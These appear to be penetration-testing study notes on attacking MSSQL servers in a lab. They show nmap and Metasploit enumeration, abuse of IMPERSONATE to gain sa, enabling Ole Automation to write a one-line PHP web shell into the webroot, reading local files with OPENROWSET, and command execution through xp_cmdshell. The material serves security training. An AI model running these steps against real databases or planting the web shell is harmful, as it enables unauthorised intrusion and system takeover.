MSSQL Attacks

MSSQL Clients

• SQL Server Management Studio (SSMS)

• Many other clients can be used to access a database running on MSSQL. Including but not limited to:

mssql-cli	SQL Server PowerShell	HeidiSQL	SQLPro	Impacket's mssqlclient.py

MSSQL Databases

Default System Database	Description
master	Tracks all system information for an SQL server instance
model	Template database that acts as a structure for every new database created. Any setting changed in the model database will be reflected in any new database created after changes to the model database
msdb	The SQL Server Agent uses this database to schedule jobs & alerts
tempdb	Stores temporary objects
resource	Read-only database containing system objects included with SQL server

Footprinting the Service

NMAP MSSQL Script Scan

sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248

MSSQL Ping in Metasploit

msf6 auxiliary(scanner/mssql/mssql_ping) > set rhosts 10.129.201.248

Connecting with Mssqlclient.py

python3 mssqlclient.py [email protected] -windows-auth

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL-01): Line 1: Changed database context to 'master'.
[*] INFO(SQL-01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands

SQL> select name from sys.databases

name                       

Link to commands

• https://learn.microsoft.com/en-us/sql/relational-databases/databases/view-a-list-of-databases-on-an-instance-of-sql-server?view=sql-server-ver16

SELECT name, database_id, create_date  FROM sys.databases;

Connecting with sqlcmd

sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30

• Note: When we authenticate to MSSQL using sqlcmd we can use the parameters -y (SQLCMDMAXVARTYPEWIDTH) and -Y (SQLCMDMAXFIXEDTYPEWIDTH) for better looking output. Keep in mind it may affect performance.

Impersonate Existing Users with MSSQL

• SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.

Identify Users that We Can Impersonate

1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO

name
-----------------------------------------------
sa
ben
valentin

Verifying our Current User and Role

1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go

-----------
julio                                                                                                                    

(1 rows affected)

-----------
          0

(1 rows affected)

• As the returned value 0 indicates, we do not have the sysadmin role, but we can impersonate the sa user

Impersonating the SA User

1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO

-----------
sa

(1 rows affected)

-----------
          1

(1 rows affected)

MSSQL - Enable Ole Automation Procedures

• To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file

• Ole Automation Procedures

1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO

MSSQL - Create a File

1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO

Read Local Files

• By default, MSSQL allows file read on any file in the operating system to which the account has read access. We can use the following SQL query:

Read Local Files in MSSQL

1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO

BulkColumn

-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should

(1 rows affected)

Execute Commands

• Command execution is one of the most desired capabilities when attacking common services because it allows us to control the operating system. If we have the appropriate privileges, we can use the SQL database to execute system commands or create the necessary elements to do it.

• MSSQL has a extended stored procedures called xp_cmdshell which allow us to execute system commands using SQL. Keep in mind the following about xp_cmdshell:

  • xp_cmdshell is a powerful feature and disabled by default. xp_cmdshell can be enabled and disabled by using the Policy-Based Management or by executing sp_configure

  • The Windows process spawned by xp_cmdshell has the same security rights as the SQL Server service account

  • xp_cmdshell operates synchronously. Control is not returned to the caller until the command-shell command is completed

• To execute commands using SQL syntax on MSSQL, use:

XP_CMDSHELL

1> xp_cmdshell 'whoami'
2> GO

output
-----------------------------
no service\mssql$sqlexpress
NULL
(2 rows affected)

• If xp_cmdshell is not enabled, we can enable it, if we have the appropriate privileges, using the following command:

EXECUTE sp_configure 'show advanced options', 1
GO

-- To update the currently configured value for advanced options.  
RECONFIGURE
GO

-- To enable the feature.  
EXECUTE sp_configure 'xp_cmdshell', 1
GO  

-- To update the currently configured value for this feature.  
RECONFIGURE
GO

• There are other methods to get command execution, such as adding extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, and external scripts.

• However, besides those methods there are also additional functionalities that can be used like the xp_regwrite command that is used to elevate privileges by creating new entries in the Windows registry